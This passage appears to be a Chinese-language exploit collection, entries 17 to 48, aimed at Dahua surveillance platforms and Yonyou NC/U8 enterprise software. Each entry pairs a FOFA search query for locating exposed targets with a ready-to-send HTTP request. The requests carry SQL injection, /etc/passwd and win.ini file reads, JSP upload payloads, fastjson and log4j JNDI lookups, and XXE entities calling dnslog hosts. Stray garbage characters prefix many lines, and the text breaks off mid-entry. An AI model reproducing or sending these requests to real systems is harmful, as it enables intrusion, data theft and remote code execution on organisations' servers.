& d5 P) y4 P  h6 d7 Z1 b
  T+ S/ m' ~# t" u5 {0 J6 U( G+ _17. 大华 DSS itcBulletin SQL 注入
5 j$ a+ Y+ t/ O* _/ R2 |- C# xFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
9 r3 ?' Y3 X4 t2 ^6 P" UHost: x.x.x.x
& Z; u+ O3 k! q! XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 k; v* P$ O) UConnection: close
Content-Length: 345
) S  d! ~3 Q/ G. s0 n! k% xAccept-Encoding: gzip

8 Y8 J& {  ?9 G) Z* C& A<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
( z( p  S! ^2 ]! w2 v/ c$ O2 z      <netMarkings>
4 F  e: h* x) B7 H- v       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>

  T. t* I) S# v
9 v2 U5 v. E! j% ~. f18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
$ r) ]" t: @4 ^$ @  VFOFA：app="dahua-DSS"
; r& T/ q7 r- TGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! u" u2 `6 l5 A+ k3 iAccept-Encoding: gzip, deflate
2 g) Z- c$ @& q( v, e! rAccept: */*
# w- U. Q& e" @  nConnection: keep-alive


$ v. Z; c6 b  m) O7 U- c3 N
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
- @2 J" x& n& D2 g! K* ^& C8 kFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
0 T" }/ A9 V# }' }0 ]& D# qHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
9 |( j; s3 o5 D& V" E) h1 ?Accept-Encoding: gzip, deflate
5 K$ i1 b+ m9 P2 ^8 RAccept: */*
. F% ?) e2 g3 b& D8 cConnection: keep-alive
  k$ d7 k8 y+ E0 L, y* P0 H$ k* `
# q1 f7 S, P' C" a2 u
6 W1 T: v) A1 }20. 大华ICC智能物联综合管理平台任意文件读取
$ H6 \4 t, z0 M: _8 p$ oFOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
7 |+ [7 N3 G3 lHost: x.x.x.x
) e+ \2 u" M. y! S9 e$ SUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
! i* o+ F+ Q1 d9 PAccept-Language: en
Accept-Encoding: gzip
$ G- k) J: p/ d% X4 ~  ]3 |& w

21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
, C: t0 Y4 z3 w) C9 i2 H; ~POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; A6 E: s/ E$ k+ WContent-Length: 161
Accept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8

/ n6 `& X" H$ A8 b  b4 s3 U{
9 t" b7 n  s, y: D" c7 k"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
4 M7 T# Y$ E1 k    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
7 r# g% _0 j" }/ _% z1 y  }""
}


3 v' E5 k6 p, ?; ~22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
/ S# p3 D, Q- cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 X4 P, W2 i% }Content-Type: application/json;charset=utf-8

4 Y6 {8 r5 k, O; _0 q. F{
"loginName":"${jndi:ldap://dnslog}"
- W; ?! q4 K0 ~; _5 ]}


: O1 u2 _5 K, i6 s
" w) ~, J5 x. w9 m' n23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
! N# t" O7 M, K: Z( N& |# @8 \Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 \5 E8 c4 O# B( _/ yContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
% H# A" ^4 b4 }1 M# }" rConnection: close
" U' S: n, t8 \6 k
1 w8 D/ B7 Y* w$ Z# r- D4 M% T) Z  S{
! a) a5 F4 K. J* @1 b! f    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
0 Q! j9 I3 ~4 t) K  W+ p1 o       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
1 S. a$ c, ^/ e. `8 y+ H& l}


- R( e% r/ y% g* K6 e2 Y24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
0 C4 E0 M, f! e8 j, u" @POST /aim/equipmap/accept.jsp HTTP/1.1
$ S5 `7 m' E2 z' jHost: x.x.x.x
/ f& l, c  p! qUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
  k" o. T* O0 U0 D3 |Content-Length: 449
Accept: */*
3 K& V! c- I7 H) l6 _/ ]6 VAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

& v' O0 `! Q+ S% k. u/ ?-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
* k# D4 B/ ~. b  ^2 IContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

. J3 t7 S* S/ \' h<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
: s/ o8 {9 S- M+ P& S. j. G  q3 P-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
( @# K# i" l( {' o+ v4 ^5 r  T7 O5 Y
1 X9 n5 E$ W) q: m/ Z) t\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

7 n, n1 Q) e1 Y7 c
4 h  o4 x) E# t, _  a0 m% w2 U25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
! u3 d) K, M& t+ m1 }6 C2 lPOST /portal/registerServlet HTTP/1.1
Host: your-ip
: d% [7 w, ]+ Q6 R! }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
: E; Y0 B) H: T  f: Y: ?' IAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog
: N. z  m4 n# \) f1 `


8 u9 c/ x% r5 c6 m3 s5 |/ W" l26. 用友NC linkVoucher SQL注入
) {0 K8 W5 A6 m/ JFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 W* T! V$ [1 D/ g! |Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
0 L2 \5 L! M3 b% M3 MAccept: */*
Connection: keep-alive
0 i  ?* ]0 P/ Z- J: G

27. 用友 NC showcontent SQL注入
! i5 K, P1 O% p' p; x$ A+ I/ c7 TFOFA：icon_hash="1085941792"
' B3 B4 l* E1 L% jGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  y% M) y5 k1 Q) f/ gAccept-Encoding: identity
Connection: close
) d( x5 E6 n! @: D8 k! \/ rContent-Type: text/xml; charset=utf-8

. m3 U% q1 a! N, _
28. 用友NC grouptemplet 任意文件上传
1 c/ a8 Q& ]6 p8 p% sFOFA：icon_hash="1085941792"
; v2 e& l- O5 I* @POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
1 s) s  y1 I. q; @% HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
5 z" {2 d+ J+ @! OContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
/ B, n8 h& `: z1 c* H
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
' B8 H0 _: i1 x! gContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
6 H3 u% X2 v8 Z$ }) G0 y4 E2 g+ ZContent-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
  b% _" E; S/ C* s" f( }" F

/uapim/static/pages/nc/head.jsp
5 L) F! A7 N8 D5 @& V5 Q! h
" l" B" ^. }! v' Y: H( t29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
/ n7 U* R) ?* t# yGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 l7 ~1 j! _2 C( Y% J/ H4 l5 LContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
, b% j. @! S9 L* P/ w; f! N4 F4 g/ n, RAccept: */*
Connection: keep-alive


: a* V/ e( T3 Y30. 用友NC importPml SQL注入
! v6 `9 e$ c* o* [FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
) I% p4 U! l( [! vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
& `6 M! a9 H  |( |7 g8 m, gConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
+ X, S; }' }# {  WContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
) S0 o* G+ h. i7 t------WebKitFormBoundaryH970hbttBhoCyj9V--
3 b) h: v% O' e: s* N/ C

31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
# d1 r0 Z# T% x& r* s: nHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
( D! o/ p6 u- N6 a' \# o  u! eContent-Type: application/x-www-form-urlencoded


32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
6 z/ }. l. z+ `4 v% z5 i6 ?FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
3 n, h& P8 a* G+ X9 L) ^3 I5 n, s5 k0 \# ?Host: your-ip
" E5 e' Q% d8 D; {  PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
/ S* s; }& a6 u+ qAccept-Encoding: gzip, deflate
" ~1 m; w  s! Y# qAccept: */*
8 e' ]4 X, b; l8 H6 `Connection: keep-alive

. e1 z, n% t- e* Y
3 m+ O+ ~9 z3 w* }7 T33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
) H# a2 p$ l& Q" r/ f  o8 X* `/ [7 LHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 c1 W* j' U5 ZContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
) @% K# a' ?- E% C: v6 x+ t4 WAccept: */*
6 ~% P/ j% |  q' H7 b  q& IConnection: keep-alive
. Q" D0 ]( P; f0 c) L4 ~
6 h0 `0 U2 l, H3 s3 r  O7 i
34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
/ ]6 Y. s& i. U3 c5 iGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
8 z- U6 m$ X3 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ }% ]$ D* ?" V2 n# w; d4 p" S2 LContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
! ]5 b4 u: o% s  S+ iConnection: keep-alive

) ?3 s7 }# F4 w  p0 t! m
- d. @9 E- J9 W9 a1 ^( P. y% @6 D35. 用友NC-Cloud importhttpscer任意文件上传
3 q  r, W( i( sFOFA：app="用友-NC-Cloud"
4 V# I) t9 m/ t3 t0 G1 UPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
5 L3 H: b& s7 l$ q8 M* rAccept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
" C- C  o( f; I8 p2 nContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
  q. l, S0 h$ G8 z- l0 Q( Z
--fd28cb44e829ed1c197ec3bc71748df0
, l( [  h2 Q* `7 {/ kContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
  }" K/ b* R, s0 ^
<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

2 k: f( x3 x. ?  A! u& [& P9 e
- ]) G! d, K3 R8 S36. 用友NC-Cloud soapFormat XXE
/ Q; r: T1 {7 X# rFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
# e7 y# W) S" _! W, w' j4 r2 VHost: 192.168.40.130:8989
) y5 O  |+ B5 ^, e  n4 M6 o; wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
, L, P5 ^! M! F/ GContent-Length: 263
- g/ I  W6 V7 W- {  K# S0 V2 H4 Z9 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) p! Q0 V. P8 p/ xAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ g; m( o& q. v" K+ m! mConnection: close
Content-Type: application/x-www-form-urlencoded
+ c5 ^4 n2 N( ]! P1 ^; J$ i4 x( H/ d/ \Upgrade-Insecure-Requests: 1
+ T* u1 x3 |$ x) B3 R% j9 W
5 L2 V) {7 \, C% A  A: h) ]msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


% D- r) C: g1 b* z! j$ k7 s& N5 W37. 用友NC-Cloud IUpdateService XXE
5 A- H) ]+ R; u! R- a+ x( L. @FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
4 Z& W$ @+ c1 _3 C8 h. iPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
6 U! T; y/ {) `Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- l0 L1 I' j+ ?Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 s8 \% A! M8 g5 U' ]& b6 m# }) zConnection: close
Content-Type: text/xml;charset=UTF-8
. c# @" L+ r! G& O7 a; ASOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
, F" ]1 {2 R  ?- p
, y8 g& _  B1 {5 |$ z<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
6 l2 a' {7 ]  \2 k5 i, z! K" X<soapenv:Body>
) a. u  H9 @* p9 s<iup:getResult>
- w9 n8 W4 M+ Q- H- k" V6 t/ b<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
0 ^6 }5 V5 n! G6 y' O<xxx/>]]></iup:string>
</iup:getResult>
# O; l; Y8 E; d</soapenv:Body>
</soapenv:Envelope>


3 u# L) B! ]( m
$ L$ U# j* v3 c38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
- x" R! H# C2 T& Q7 T% CPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
8 l: {9 F. U: ^) y% _, W! cHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
  F, \0 D: h, n7 S, C0 [Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
' \5 W' q  S- l2 z- v% F1 yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( s- D3 T& f/ nConnection: close
- B9 g5 v9 Z% _/ w3 O  i& W' U$ PContent-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
+ f- |+ ^: k" N7 e# x
/ z3 U. s& h, M" p, L
# o. N: l7 I  w1 J39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
- X$ k; l6 I3 u, c2 U" N& xPOST /servlet/RegisterServlet HTTP/1.1
+ l: T  F$ |# f1 W( ZHost: 192.168.86.128:8089
1 C: V5 @9 S; EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
  \. a" h* }' S, k5 [  d6 a: ^/ P7 BConnection: close
, K+ b5 g1 m  `: d; @( iContent-Length: 85
2 J* Y" @, g, bAccept: */*
Accept-Language: en
) F. O: m( U9 A* ?0 IContent-Type: application/x-www-form-urlencoded
7 Y' V5 B, _4 J/ B: Y9 u: W8 n0 [X-Forwarded-For: 127.0.0.1
/ Y/ t7 z, r1 E* ?3 q+ w4 ]' qAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


+ n$ \( m; e9 |+ M  Q  X5 d40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
; \6 ~: ]" e( T0 Z% F# K- XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
. k4 X" r2 R( K* H% C; kContent-Type: text/xml
# ~8 f% ?% T0 V9 [7 cConnection: close
" ~( i' V5 u# e* r$ G- L) _
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
$ [2 I4 h$ X& g

6 F& [& O$ Q! }2 ?: M, y41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
! e3 L! l; k" \2 LGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
. o# ~. S3 C- _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. s' N  d" N% L1 Z# @" Q# bContent-Type: application/json
Accept-Encoding: gzip
. b+ B- f, T- D& V4 ]' N: J0 P) s. ]Connection: close
  c5 B6 e- e1 j' e& |: O3 e4 g
, Y2 i) M$ l: h% C% N. e$ Q, b% c. v
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
6 u% y6 k7 |( k/ uPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
' [, v+ ^' l9 VContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD

" ]8 {. N/ p4 Z2 O
1 m, r3 F* p' m6 I6 khttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

' q  W* W$ W8 L" h43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
- c/ D& N# a  |POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# M% x, t& q$ J1 `. yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- ?; d% l9 \  \) JConnection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
7 P5 [1 L3 Q; j& q$ u   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
! h. w& U8 U' g$ K$ u8 D$ e) W      </ser:getUserNameById>
   </soapenv:Body>
' |4 _1 I% _: ]' U# }</soapenv:Envelope>

7 _* W( z( Z0 M4 c1 L2 ~7 R
7 E. ?5 Y7 b8 [. ?+ s1 H44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
! q4 G0 z1 |( O" k, O0 J  M' ~7 U# `GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
! J% v2 N2 U& |, ?5 h' `- _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
' F1 ^% E$ P  FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 Y& [9 i" m1 q1 H( N! J! |Accept-Language: zh-CN,zh;q=0.9
1 Y  g! p2 |3 a& sConnection: close


45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
8 X- c  v! y  ]6 z& uHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
6 y8 C  N7 k! l' P+ mConnection: close
/ S* r; V* d3 p! B* X4 ^Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
% g7 A( q+ e7 }5 d2 c* t( UAccept-Encoding: gzip
4 T, z: t  P( w
reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
2 ^8 t/ O5 C2 g5 L3 H/ S5 L+ d, m4 A

, W" R- I1 H* ]7 g46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
4 u/ S( B: @. g4 ?* nHost: your-ip
3 t: S# ~* y* x/ [) l2 iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
+ t. `3 B. `( m9 o1 r& X/ S" o

47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
$ @" w3 t6 X; X/ C; xHost: x.x.x.x
( S: q3 _5 h" H) L" S1 ECache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% N& F8 c9 w" \Accept-Encoding: gzip, deflate, br
/ m( `  N3 ~' }  E1 b. p4 Z* dAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
4 W6 a# Q8 D6 B, R' x8 ]6 }
$ }6 O( p  ?& i; c+ o0 G5 [( R

48. 用友U8 CRM swfupload 任意文件上传
3 P, y# G+ Q5 r2 G% M+ lFOFA：title="用友U8CRM"
7 Q& C. ]/ d/ z. x$ C1 nPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
